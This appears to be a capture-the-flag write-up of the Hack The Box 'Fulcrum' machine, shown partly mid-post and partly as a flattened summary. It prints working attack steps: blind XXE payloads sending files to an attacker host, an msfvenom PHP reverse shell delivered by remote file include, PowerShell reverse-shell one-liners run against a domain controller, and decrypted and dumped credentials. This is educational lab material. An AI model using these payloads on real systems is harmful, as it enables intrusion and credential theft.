[192.168.30.130]: PS C:\Users\WebUser\Documents&amp;gt; Enable-WSManCredSSP –Role Client –DelegateComputer spoke
Access is denied. You need to run this cmdlet from an elevated process.
    + CategoryInfo          : NotSpecified: (:) [Enable-WSManCredSSP], InvalidOperationException
    + FullyQualifiedErrorId : System.InvalidOperationException,Microsoft.WSMan.Management.EnableWSManCredSSPCommand

&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;We are able to call backout to the htb vpn ip space so we can use powershell invoke-command to execute commands on the box. We can get a reverse shell copy-pasta’ing &lt;a href=&quot;https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1&quot;&gt;“Nishangs Invoke-PowershellTcpOneLine”&lt;/a&gt;
&lt;em&gt;Invoke-Command on file.fulcrum.local&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Invoke-Command -ComputerName file.fulcrum.local -Credential fulcrum.local\btables -Port 5985 -ScriptBlock  { $client = New-Object System.Net.Sockets.TCPClient('10.10.15.74',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '&amp;gt; ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() }
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;getting shell&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~# ncat -lnvp 53
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::53
Ncat: Listening on 0.0.0.0:53
Ncat: Connection from 10.10.10.62.
Ncat: Connection from 10.10.10.62:12873.
whoami
fulcrum\btables
PS C:\Users\BTables\Documents&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;em&gt;getting user flag&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PS C:\Users\BTables\Desktop&amp;gt; dir


    Directory: C:\Users\BTables\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        10/4/2017  10:12 PM             34 user.txt


PS C:\Users\BTables\Desktop&amp;gt; type user.txt
...[snip]...
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h3 id=&quot;pivoting-to-domain-controller-dcfulcrumlocal&quot;&gt;Pivoting to Domain Controller (dc.fulcrum.local)&lt;/h3&gt;

&lt;p&gt;Exploring the system you discover a myriad  of files of which the  contents of &lt;code class=&quot;highlighter-rouge&quot;&gt;domain_users.csv&lt;/code&gt; appears to be a list of username, and passwords for various domain users.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PS C:\Users\BTables&amp;gt; dir


    Directory: C:\Users\BTables


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        10/4/2017  10:12 PM                Desktop
d-r---        10/9/2017   8:22 PM                Documents
d-r---        7/16/2016   2:18 PM                Downloads
d-r---        7/16/2016   2:18 PM                Favorites
d-r---        7/16/2016   2:18 PM                Links
d-r---        7/16/2016   2:18 PM                Music
d-r---        7/16/2016   2:18 PM                Pictures
d-----        7/16/2016   2:18 PM                Saved Games
d-r---        7/16/2016   2:18 PM                Videos
-a----       10/12/2017   8:09 PM           5502 check-auth.ps1
-a----       10/12/2017   7:48 PM          45011 domain_users.csv
-a----       10/12/2017   7:21 PM          21002 file.txt
-a----       10/12/2017   7:21 PM          21002 file2.txt
-a----       10/12/2017   7:48 PM          45011 merged.txt
-a----       10/12/2017   7:43 PM          90002 merged2.txt
-a----       10/12/2017   7:39 PM          21002 Output.txt
-a----       10/12/2017   7:23 PM          75002 pass.txt
-a----       10/12/2017   7:23 PM          75002 pass2.txt
-a----       10/12/2017   9:16 PM          21000 result.txt
-a----       10/12/2017   9:04 PM             42 test.csv
-a----       10/12/2017   7:14 PM          18002 users.txt
-a----       10/12/2017   7:22 PM              0 wordlist.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;&lt;em&gt;contents of “domain_users.csv”&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;...[snip]...
a7e6,@fulcrum_e9f86a021507_$
9cea,@fulcrum_1eee5eabb089_$
9e92,@fulcrum_efecb22c5b82_$
8d25,@fulcrum_70e0e02bd594_$
9923,@fulcrum_17f672dfcc78_$
b0b6,@fulcrum_7a5f2af5237e_$
9e2a,@fulcrum_acd5008a3f9d_$
a700,@fulcrum_47ff4e46a43f_$
b473,@fulcrum_110bf7e71ecd_$
984a,@fulcrum_d254c73f8dab_$
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;I forgot to mention, but from our either enumeration we could have discovered what users are in the domain admins by querying ldap. I forgot to gather the exact query I used, but to give an baseline idea of what the ldap query  structure would have looked like: &lt;code class=&quot;highlighter-rouge&quot;&gt;(&amp;amp;(objectCategory=user)(memberOf=CN=Domain Admins,CN=People,DC=fulcrum,dc=local))&lt;/code&gt;, but either way, by bruteforcing the credentials with a script, or querying  LDAP you would discover that the user &lt;code class=&quot;highlighter-rouge&quot;&gt;932a&lt;/code&gt; is in the domain administrators group.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PS C:\Users\BTables&amp;gt; type domain_users.csv | findstr &quot;923a&quot;
9f68,@fulcrum_df0923a7ca40_$
923a,@fulcrum_bf392748ef4e_$
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;&lt;em&gt;getting shell on the domain controller dc.fulcrum.local&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Invoke-Command -ComputerName dc.fulcrum.local -Credential 923a -Port 5985 -ScriptBlock { $client = New-Object System.Net.Sockets.TCPClient('10.10.15.74',53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '&amp;gt; ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() }
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@dastinia:~# nc -lnvp 53
listening on [any] 53 ...
connect to [10.10.15.74] from (UNKNOWN) [10.10.10.62] 1559

PS C:\Users\923a\Documents&amp;gt; whoami
fulcrum\923a
PS C:\Users\923a\Documents&amp;gt;whoami /groups

GROUP INFORMATION
-----------------

Group Name                                     Type             SID                                           Attributes
============================================== ================ ============================================= ===============================================================
Everyone                                       Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                                  Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access     Alias            S-1-5-32-554                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                         Alias            S-1-5-32-544                                  Mandatory group, Enabled by default, Enabled group, Group owner
NT AUTHORITY\NETWORK                           Well-known group S-1-5-2                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users               Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization                 Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
FULCRUM\Domain Admins                          Group            S-1-5-21-3166400326-2861236044-2715240360-512 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity     Well-known group S-1-18-1                                      Mandatory group, Enabled by default, Enabled group
FULCRUM\Denied RODC Password Replication Group Alias            S-1-5-21-3166400326-2861236044-2715240360-572 Mandatory group, Enabled by default, Enabled group, Local Group
Mandatory Label\High Mandatory Level           Label            S-1-16-12288
PS C:\Users\923a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;Box finally complete :)&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;PS C:\Users\Administrator\Desktop&amp;gt; type root.txt
...[snip]...
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;</content><author><name>A Medic (@OnlyaMedic)</name></author><category term="writeup" /><category term="pentesting" /><category term="hackthebox" /><category term="xxe" /><category term="windows" /><category term="pivoting" /><summary type="html">Introduction Wew this box had aaaaaaaaaalot of steps. Honestly, I feel like a lot of the difficultly perceived with this box came from the heavy need to use powershell. Nonetheless it definitely set the bar of being one of the more in-depth challenges because of all the steps required to reach the end goal. The pivoting was a very nice touch, and I wish there were more hack the box boxes that were architected in this manner with multiple machines or networks. I went a little bit more in-depth with the write-up, and included some fails, and rabbit-hole detection techniques. Tools Used Nmap BurpSuite GoBuster Ncat Powershell Metasploit Framework socat Nishang Enumeration Initial Scanning Like always lets begin with a nmap scan agaisn’t the fulcrum machine (10.10.10.62). You need to run a full portscan to ensure you didn’t miss the service running on port 56423. root@dastinia:~/htb/fulcrum# nmap -T4 -sV -sC -Pn -p- 10.10.10.62 -oA fulcrum_fullscan Starting Nmap 7.70 ( https://nmap.org ) at 2018-06-10 15:16 EDT Nmap scan report for 10.10.10.62 Host is up (0.16s latency). Not shown: 65529 closed ports PORT STATE SERVICE VERSION 4/tcp open http nginx 1.10.3 (Ubuntu) |_http-server-header: nginx/1.10.3 (Ubuntu) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 a8:28:6e:d0:af:ab:46:de:c5:09:3d:76:ad:5a:44:e0 (RSA) | 256 c1:5c:1d:ea:99:ec:e0:a1:dc:04:c5:5a:ad:50:36:f6 (ECDSA) |_ 256 a5:2f:44:e6:e3:10:cf:f7:db:15:d1:3f:49:21:3a:7b (ED25519) 80/tcp open http nginx 1.10.3 (Ubuntu) | http-methods: |_ Potentially risky methods: TRACE |_http-title: Input string was not in a correct format. 88/tcp open http nginx 1.10.3 (Ubuntu) | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: nginx/1.10.3 (Ubuntu) |_http-title: phpMyAdmin 9999/tcp open http nginx 1.10.3 (Ubuntu) |_http-server-header: nginx/1.10.3 (Ubuntu) |_http-title: Login 56423/tcp open http nginx 1.10.3 (Ubuntu) |_http-title: Site doesn't have a title (application/json;charset=utf-8). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 775.49 seconds Enumerating Port 4 Visting the web service on port 4, displays an “Under Maintenance” Page. Clicking to try again redirects you to /index.php? page=homeLooking at this we might be able to take advantage of a file include (or SSRF) type vulnerability just based on the page parameter. @Jhaddix gave a great talk called “Hunt” at defcon, and to sum it up it’s an analysis of web vulnerabilities, and their most common parameters associated with those vulnerability.” I highly recommend reading/watching the video on the talk because it will help recognize potential vulnberbilites in web applications much quicker. Running gobuster against the site, reveals us some additional content to explore. root@dastinia:~/htb/fulcrum# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.62:4 -x php,html -s 200,204,301,302,307,403 -t 100 | tee gobuster_fulcrum_4r_fulcrum_4 Gobuster v1.2 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.62:4/ [+] Threads : 100 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes : 302,307,403,200,204,301 [+] Extensions : .php,.html ===================================================== /index.php (Status: 200) /home.php (Status: 200) /upload.php (Status: 200) ===================================================== Going directly to http: //10.10.10.62:4/home.php brings us to the fulcrum file upload page. Attempting to upload anything using the file upload capability always end up with an error occurring, even while attempting to upload a regular unmodified image file. We are going to keep a note of this, because it will come in handy later. Enumerating Port 80 I also ran gobuster in the background. For some reason it’s throwing (fake) IIS errors even though it was a ubuntu server using nginx. You could tell right off the back that this service was fake news, and was likely a rabbit hole so I didn’t spend any resources digging deeper. Enumering Port 88 (phpmyadmin) Attempting to authenticate with various combinations of common usernames, and passwords seen on hackthebox machines eg: root:root, admin:admin, admin:password etc.. Every time you attempt to authenticate the following error message would return. From some quick google searching this likely meant that the MySQL Server is misconfigured, or not accepting connections which likely means this was just another rabbit-hole. Enumerating Port 9999 (PFSense) Visiting the service on port 9999 brings us to the homepage of PFsense (an open-source firewall). Attempting the default credentials for PFsense, in addition to common hack the box username,password combinous resulted with nothing. You can observe from the footer copyright (which states 2004-2018) this is likely the latest version of PFSense. Another indicator that you can use, if you are familiar with pfsense and how it previously to looked within the past (two? years) they switched the web interface UX styling framework from their (not so pretty custom styling) to bootstrap. If you view the source code of the page, then you see the bootstrap includes, which lets you know that this is likely another rabbit-hole. Enumerating Port 56423 (FulCrum API) Visiting the service on Port 56423 brings us to what appears to be some sort of “API” endpoint. Hitting it with gobuster reveals that, it only has a single resource available for us to hit. root@dastinia:~/htb/fulcrum# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.62:56423 -x php,html -s 200,204,301,302,307,403 -t 100 | tee gobuster_fulcrum_56423 Gobuster v1.2 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.10.62:56423/ [+] Threads : 100 [+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Status codes : 403,200,204,301,302,307 [+] Extensions : .php,.html ===================================================== /index.php (Status: 200) People generally skip over some of the inner thought process of discovering vulerbilities. But in this case, we have no real way of interacting with the api that’s available, so we are likely looking for some sort of blind injection vulnerability. (OS, XPath, XXE, SQLi etc..). We can pretty much rule out an SQL injection because the SQL database from our prior enumeration earlier wasn’t functioning. After attempting a variety of blind injection attacks, you end up discovering it’s blind XXE vulnerability. The following blog post is a good read on exploiting XXE vulerbilities. xxe test payload &amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt; &amp;lt;!DOCTYPE data SYSTEM &quot;http://10.10.14.19:3434/&quot; [ &amp;lt;!ELEMENT data (#PCDATA)&amp;gt; ]&amp;gt; &amp;lt;data&amp;gt;4&amp;lt;/data&amp;gt; response root@dastinia:~/htb/fulcrum# ncat -lnkvp 3434 Ncat: Version 7.70 ( https://nmap.org/ncat ) Ncat: Listening on :::3434 Ncat: Listening on 0.0.0.0:3434 Ncat: Connection from 10.10.10.62. Ncat: Connection from 10.10.10.62:53288. GET /test-t HTTP/1.0 Host: 10.10.14.19:3434 Connection: close So we now we know what the vulnerability is, and we have a working “proof of concept”. We can safely say that this is going to be the entry point into the box so now it’s time to dive deeper. Exploitation Using Blind XXE to Read Source Code Files Honestly, this part fucking sucked for me. For some reason I’m awful at either following instructions, or there was something else going on. But one thing’s for sure, I clearly didn’t know how XXE properly which made the following section take forever. I used a combination of the following resources, finally put together a stable formula for performing the OOB XXE. I’m not 100% if it was intended, but using the php://filter pretty much was a requirement to pull data out through XXE (no other methods seemed to work). If you are just interested in getting the shell, it’s safe to skip this section. I recommend reading the following resources to understand the different ways we can take advantage of an XXE vulnerability. Links: | 1 | 2 | | 3 Contents of test.dtd root@dastinia:~/htb/fulcrum/serve# cat test.dtd &amp;lt;!ENTITY % payl SYSTEM &quot;php://filter/read=convert.base64-encode/resource=file:///etc/issue&quot;&amp;gt; &amp;lt;!ENTITY % intern &quot;&amp;lt;!ENTITY &amp;amp;#37; xxe SYSTEM 'http://10.10.14.128/result?%payl;'&amp;gt;&quot;&amp;gt; Upon successful exploitation, we should be receiving the contents of /etc/issue as a base64 encoded string. root@dastinia:~/htb/fulcrum/serve# python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.10.62 - - [20/Jun/2018 21:46:50] &quot;GET /test.dtd HTTP/1.0&quot; 200 - 10.10.10.62 - - [20/Jun/2018 21:46:50] code 404, message File not found 10.10.10.62 - - [20/Jun/2018 21:46:50] &quot;GET /result?Q3JlYXRlZCBieTogQE9uZUxvZ2ljYWxNeXRoCklQIEFkZHJlc3M6IFw0e2VuczMyfQpIb3N0bmFtZTogICBcbgoKR29vZCBMdWNrIQoKCg== HTTP/1.0&quot; 404 - Decoding it gives us the following content. $ echo -n &quot;Q3JlYXRlZCBieTogQE9uZUxvZ2ljYWxNeXRoCklQIEFkZHJlc3M6IFw0e2VuczMyfQpIb3N0bmFtZTogICBcbgoKR29vZCBMdWNrIQoKCg==&quot; | base64 -d Created by: @OneLogicalMyth IP Address: \4{ens32} Hostname: \n Good Luck! By changing the file in test.dtd we can exfiltrate sensitive files, for further analysis, for example the contents of /etc/passwd or the fulcrum api source code. root:x:0:0:root:/root:/bin/bash ....[snip].... messagebus:x:108:111::/var/run/dbus:/bin/false blueprint:x:1000:1000:blueprint,,,:/home/blueprint:/bin/bash colord:x:109:117:colord colour management daemon,,,:/var/lib/colord:/bin/false libvirt-qemu:x:64055:115:Libvirt Qemu,,,:/var/lib/libvirt:/bin/false libvirt-dnsmasq:x:110:118:Libvirt Dnsmasq,,,:/var/lib/libvirt/dnsmasq:/bin/false sshd:x:111:65534::/var/run/sshd:/usr/sbin/nologin Fulcrum API Source Code &amp;lt;?php header('Content-Type:application/json;charset=utf-8'); header('Server: Fulcrum-API Beta'); libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom-&amp;gt;loadXML($xmlfile,LIBXML_NOENT|LIBXML_DTDLOAD); $input = simplexml_import_dom($dom); $output = $input-&amp;gt;Ping; //check if ok if($output == &quot;Ping&quot;) { $data = array('Heartbeat' =&amp;gt; array('Ping' =&amp;gt; &quot;Ping&quot;)); }else{ $data = array('Heartbeat' =&amp;gt; array('Ping' =&amp;gt; &quot;Pong&quot;)); } echo json_encode($data); ?&amp;gt; From our further enumeration we know that there are other applications running on this box with known file names (results from enumerating the fulcrum web service on port 4). Attempting to access one of the known files like home.php ends with nothing being returned, so likely what this means that the other web apps are separated into different directories. Attempting common web directories like www, html, web, upload, uploads you discover that there is web-content being served from the uploads directory which so happens to be the content of the Fulcrum web application service being hosted on port 4. dtd payload for discovering content in uploads web directory root@dastinia:~/htb/fulcrum/serve# cat test.dtd &amp;lt;!ENTITY % payl SYSTEM &quot;php://filter/read=convert.base64-encode/resource=../uploads/index.php&quot;&amp;gt; &amp;lt;!ENTITY % intern &quot;&amp;lt;!ENTITY &amp;amp;#37; xxe SYSTEM 'http://10.10.14.128/result?%payl;'&amp;gt;&quot;&amp;gt; results 10.10.10.62 - - [20/Jun/2018 22:32:34] &quot;GET /result?PD9waHAKaWYoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gIT0gIjEyNy4wLjAuMSIpCnsKCWVjaG8gIjxoMT5VbmRlciBNYWludGFuY2U8L2gxPjxwPlBsZWFzZSA8YSBocmVmPVwiaHR0cDovLyIgLiAkX1NFUlZFUlsnU0VSVkVSX0FERFInXSAuICI6NC9pbmRleC5waHA/cGFnZT1ob21lXCI+dHJ5IGFnYWluPC9hPiBsYXRlci48L3A+IjsKfWVsc2V7CgkkaW5jID0gJF9SRVFVRVNUWyJwYWdlIl07CglpbmNsdWRlKCRpbmMuIi5waHAiKTsKfQo/PgoK HTTP/1.0&quot; 404 - Un-Base64’ing the response gives you the contents of index.php &amp;lt;?php if($_SERVER['REMOTE_ADDR'] != &quot;127.0.0.1&quot;) { echo &quot;&amp;lt;h1&amp;gt;Under Maintance&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Please &amp;lt;a href=\&quot;http://&quot; . $_SERVER['SERVER_ADDR'] . &quot;:4/index.php?page=home\&quot;&amp;gt;try again&amp;lt;/a&amp;gt; later.&amp;lt;/p&amp;gt;&quot;; }else{ $inc = $_REQUEST[&quot;page&quot;]; include($inc.&quot;.php&quot;); } ?&amp;gt; Contents of home.php &amp;lt;?php ?&amp;gt; &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;body&amp;gt; &amp;lt;h1&amp;gt;Fulcrum File Upload&amp;lt;/h1&amp;gt; &amp;lt;form action=&quot;upload.php&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&amp;gt; Select image to upload: &amp;lt;p&amp;gt;&amp;lt;input type=&quot;file&quot; name=&quot;fileToUpload&quot; id=&quot;fileToUpload&quot;&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Upload Image&quot; name=&quot;submit&quot;&amp;gt;&amp;lt;/p&amp;gt; &amp;lt;/form&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; Contents of upload.php &amp;lt;?php if(isset($_POST)) { sleep(2); echo &quot;&amp;lt;p style=\&quot;color:red;\&quot;&amp;gt;Sorry the file upload failed&amp;lt;/p&amp;gt;&quot;; } ?&amp;gt; We can quickly see see that the code in index.php is vulnerable to a textbook php file inclusion vulnerability. The only thing is, to exploit this vulnerability we need to have the request come from the machines localhost. If you attempt to access the page not from localhost it will give you the Under maintenance page. But if the request comes from localhost we hit the 2nd code path of the application, and we have control over the page parameter which is getting passed directly into the include statement which we can use to get code execution. Additional Reading Getting Shell via Remote File Include For what it was worth, getting a shell was relatively simple to execute. You probably could have skipped all of the stuff in the middle section, and gone straight here if you are familiar with php web application vulnerabilities, and what they look like. I believe a lot of people who completed this box did just that. generating a regular msfvenom php reverse shell root@dastinia:~/htb/fulcrum/serve# msfvenom -p php/reverse_php LHOST=10.10.15.74 LPORT=443 -f raw &amp;gt; 443.php No platform was selected, choosing Msf::Module::Platform::PHP from the payload No Arch selected, selecting Arch: php from the payload No encoder or badchars specified, outputting raw payload Payload size: 3036 bytes You are going to need to serve your payload with some sort of webserver. A python3 http.server is a quick way to throw up a webserver to host content. setting up python http.server root@dastinia:~/htb/fulcrum/serve# python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... Setting up metasploit multi handler to catch shell msf &amp;gt; use exploit/multi/handler msf exploit(multi/handler) &amp;gt; set PAYLOAD php/reverse_php PAYLOAD =&amp;gt; php/reverse_php msf exploit(multi/handler) &amp;gt; set LHOST tun0 LHOST =&amp;gt; tun0 msf exploit(multi/handler) &amp;gt; set LPORT 443 LPORT =&amp;gt; 443 msf exploit(multi/handler) &amp;gt; set ExitOnSession False ExitOnSession =&amp;gt; false msf exploit(multi/handler) &amp;gt; exploit -j -z [*] Exploit running as background job 0. [*] Started reverse TCP handler on 10.10.15.74:443 Now all we need to do is to use our XXE vulnerability to craft a URL to fetch our payload to exploit the file include. raw request in burpsuite for exploiting the XXE to php file-include GET / HTTP/1.1 Host: 10.10.10.62:56423 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: pmaCookieVer=5; pma_lang=en; pma_collation_connection=utf8mb4_unicode_ci Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 131 &amp;lt;!DOCTYPE root [ &amp;lt;!ENTITY % remote SYSTEM &quot;http://127.0.0.1:4/index.php?page=http://10.10.15.74/443&quot;&amp;gt; %remote; %intern; %xxe; ]&amp;gt; Sweet got a shell, but getting a shell is only the beginning… getting a shell after successful exploitation msf exploit(multi/handler) &amp;gt; [*] Command shell session 1 opened (10.10.15.74:443 -&amp;gt; 10.10.10.62:47692) at 2018-06-21 22:09:31 -0400 msf exploit(multi/handler) &amp;gt; sessions -i 1 [*] Starting interaction with 1... id uid=33(www-data) gid=33(www-data) groups=33(www-data) pwd /var/www/uploads ls -la total 24 drwxr-xr-x 2 root root 4096 Oct 5 2017 . drwxr-xr-x 6 root root 4096 Oct 5 2017 .. -rw-r--r-- 1 root root 714 Oct 4 2017 Fulcrum_Upload_to_Corp.ps1 -rw-r--r-- 1 root root 321 Oct 4 2017 home.php -rw-r--r-- 1 root root 255 Oct 5 2017 index.php -rw-r--r-- 1 root root 113 Oct 4 2017 upload.php This shell is extremely unstable &amp;amp; will die after a few minutes, so I recommend throwing yourself a regular socat/netcat shell. Pivoting Decrypting/Recovering Credentials in Script for PSRemoting Interestly we discover that there is a powershell script on the box, this is pretty unusual because this machine is labelled as a Linux system. Contents of Fulcrum_Upload_to_Corp.ps1 # TODO: Forward the PowerShell remoting port to the external interface # Password is now encrypted \o/ $1 = 'WebUser' $2 = '77,52,110,103,63,109,63,110,116,80,97,53,53,77,52,110,103,63,109,63,110,116,80,97,53,53,48,48,48,48,48,48' -split ',' $3 = '76492d1116743f0423413b16050a5345MgB8AEQAVABpAHoAWgBvAFUALwBXAHEAcABKAFoAQQBNAGEARgArAGYAVgBGAGcAPQA9AHwAOQAwADgANwAxADIAZgA1ADgANwBiADIAYQBjADgAZQAzAGYAOQBkADgANQAzADcAMQA3AGYAOQBhADMAZQAxAGQAYwA2AGIANQA3ADUAYQA1ADUAMwA2ADgAMgBmADUAZgA3AGQAMwA4AGQAOAA2ADIAMgAzAGIAYgAxADMANAA=' $4 = $3 | ConvertTo-SecureString -key $2 $5 = New-Object System.Management.Automation.PSCredential ($1, $4) Invoke-Command -Computer upload.fulcrum.local -Credential $5 -File Data.ps1 We can modify the script slightly so that it decrypts the password for us. decrypt.ps1 $1 = 'WebUser' $2 = '77,52,110,103,63,109,63,110,116,80,97,53,53,77,52,110,103,63,109,63,110,116,80,97,53,53,48,48,48,48,48,48' -split ',' $3 = '76492d1116743f0423413b16050a5345MgB8AEQAVABpAHoAWgBvAFUALwBXAHEAcABKAFoAQQBNAGEARgArAGYAVgBGAGcAPQA9AHwAOQAwADgANwAxADIAZgA1ADgANwBiADIAYQBjADgAZQAzAGYAOQBkADgANQAzADcAMQA3AGYAOQBhADMAZQAxAGQAYwA2AGIANQA3ADUAYQA1ADUAMwA2ADgAMgBmADUAZgA3AGQAMwA4AGQAOAA2ADIAMgAzAGIAYgAxADMANAA=' $4 = $3 | ConvertTo-SecureString -key $2 [System.Runtime.InteropServices.marshal]::PtrToStringAuto([System.Runtime.InteropServices.marshal]::SecureStringToBSTR($4)) Password of WebUser PS C:\&amp;gt; .\decrypt.ps1 M4ng£m£ntPa55 PS C:\&amp;gt; Discovering 192.168.122.x Network After decrypting the password, the next step was to search for additional containers, virtual machines, or connected networks. Running an ifconfig we see this machine has many interfaces, which is extremely usual for a Hack the Box machine. A network address that stands our is 192.168.122.1 which is very strange. Likely this machine is dual-homed. ifconfig output www-data@Fulcrum:~$ ifconfig corp Link encap:Ethernet HWaddr 52:54:00:87:ee:c0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:412 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:32601 (32.6 KB) TX bytes:0 (0.0 B) ens32 Link encap:Ethernet HWaddr 00:50:56:b9:44:f1 inet addr:10.10.10.62 Bcast:10.10.10.255 Mask:255.255.255.0 inet6 addr: dead:beef::250:56ff:feb9:44f1/64 Scope:Global inet6 addr: fe80::250:56ff:feb9:44f1/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:72492 errors:0 dropped:82 overruns:0 frame:0 TX packets:35844 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:11175820 (11.1 MB) TX bytes:5982295 (5.9 MB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:241 errors:0 dropped:0 overruns:0 frame:0 TX packets:241 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1 RX bytes:18409 (18.4 KB) TX bytes:18409 (18.4 KB) virbr0 Link encap:Ethernet HWaddr 52:54:00:9c:e7:10 inet addr:192.168.122.1 Bcast:192.168.122.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:53053 errors:0 dropped:0 overruns:0 frame:0 TX packets:50375 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:3317157 (3.3 MB) TX bytes:2463028 (2.4 MB) vnet0 Link encap:Ethernet HWaddr fe:54:00:32:d7:13 inet6 addr: fe80::fc54:ff:fe32:d713/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:4904 errors:0 dropped:0 overruns:0 frame:0 TX packets:16218 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX 